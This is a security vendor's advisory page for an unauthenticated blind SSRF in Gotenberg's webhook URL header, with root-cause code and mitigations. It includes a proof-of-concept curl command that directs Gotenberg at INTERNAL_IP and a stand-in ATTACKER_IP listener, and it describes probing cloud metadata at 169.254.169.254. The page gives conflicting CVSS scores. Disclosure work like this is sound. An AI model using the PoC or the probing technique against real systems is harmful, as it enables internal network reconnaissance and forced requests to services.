Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-39383 — gotenberg

🟠 CVSS 7.2 — High ✅ No Known Exploit NVD
7.2
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Gotenberg Vulnerable to Unauthenticated SSRF via Unfiltered Webhook URL

# CVE Report — Unauthenticated SSRF via Unfiltered Webhook URL in Gotenberg

Severity

| Field | Value |

|-----------|----------------------------------------|

| CVSS v3.1 | 8.6 High |

| Vector | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |

| CWE | CWE-918 — Server-Side Request Forgery |

| Auth | None |

Affected: Gotenberg 8.29.1 — default gotenberg/gotenberg:8 Docker image.

Impact

An unauthenticated attacker with network access to Gotenberg can force it to make outbound HTTP POST requests to any internal or external destination by supplying an arbitrary URL in the Gotenberg-Webhook-Url request header.

This is a blind SSRF. Gotenberg POSTs the converted document to the webhook URL and checks only whether the response status code is an error (>= 400). The response body from the SSRF target is never forwarded to the attacker. The Gotenberg-Webhook-Error-Url header — if supplied — receives the original converted PDF when the webhook POST fails, not the target's response body.

The practical impact is therefore:

  • Internal network probing: if the error URL is NOT called, the target returned 2xx → host and port are open and accepting POST requests. If the error URL IS called, the target returned 4xx/5xx or timed out → port closed or service rejected the request. This allows mapping internal infrastructure one request at a time.
  • Forced POST to internal services: any internal service that performs a side effect on POST (triggering a webhook, writing state, executing a job) can be abused without reading its response.
  • Cloud metadata interaction: Gotenberg can be forced to POST to http://169.254.169.254/ — confirming reachability and probing available paths — but cannot read the credential response body through this channel alone.

The retryable client issues up to 4 automatic retries per request, meaning one attacker request generates up to 4 probes against the internal target.

Proof of Concept

```bash

# Minimal SSRF trigger — replace ATTACKER_IP with your listener & INTERNAL_IP with the target.

curl -s -o /dev/null -w "HTTP:%{http_code}" \

-X POST 'http://TARGET:3000/forms/chromium/convert/url' \

-H 'Gotenberg-Webhook-Url: http://INTERNAL_IP:9999/capture' \

-H 'Gotenberg-Webhook-Error-Url: http://ATTACKER_IP:9999/error' \

-F 'url=https://example.com'

```

Root Cause

FilterDeadline in filter.go is the intended URL gating function but its contract fails open: when both the allow and deny lists are empty (the default), it returns nil unconditionally, allowing any URL through.

```go

func FilterDeadline(allowed, denied []*regexp2.Regexp, s string, deadline time.Time) error {

if len(allowed) > 0 { ... } // skipped — empty by default

if len(denied) > 0 { ... } // skipped — empty by default

return nil // any URL passes

}

```

The unvalidated URL is then stored verbatim and used as the destination for an outbound retryablehttp request in client.go:62.

Recommendations

Gotenberg maintainers: Invert the default — deny all webhook URLs unless an explicit allowlist is configured, or ship a built-in denylist covering RFC-1918 and link-local ranges.

Operators (immediate):

```bash

# Restrict to your own receiver

--env GOTENBERG_API_WEBHOOK_ALLOW_LIST="https://my-receiver\.example\.com/.*"

# Or block internal ranges

--env GOTENBERG_API_WEBHOOK_DENY_LIST="^https?://(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)"

```

Attribution

This is a Gotenberg-only issue. No third-party library is at fault. The root cause is an insecure default in FilterDeadline where an unconfigured state means "allow all" rather than "deny all".

Timeline

| Date | Event |

|------------|-------|

| 2026-04-04 | Vulnerability discovered |

| 2026-04-05 | SSRF confirmed — outbound POST captured at local listener |

| 2026-04-05 | Report drafted for disclosure |

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Affected software

CVE-2026-39383 is recorded against 3 packages.

  • github.com/gotenberg/gotenberg/v7
  • github.com/gotenberg/gotenberg/v8
  • gotenberg (from 8.29.1 up to 8.31.0)

Timeline and source

Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Web)

Other advisories for this package

github.com/gotenberg/gotenberg/v7 has other advisories on record. If you are patching this one, these are worth checking on the same host:

Details

Severity High
CVSS Score 7.2
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CWE N/A
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-20
Modified 2026-06-25
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/gotenberg/gotenberg/v7
github.com/gotenberg/gotenberg/v8
gotenberg 8.29.1 8.31.0

Similar Threats

Site Security Check

Is gotenberg part of your stack?

CVE-2026-39383 is rated CVSS 7.2 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026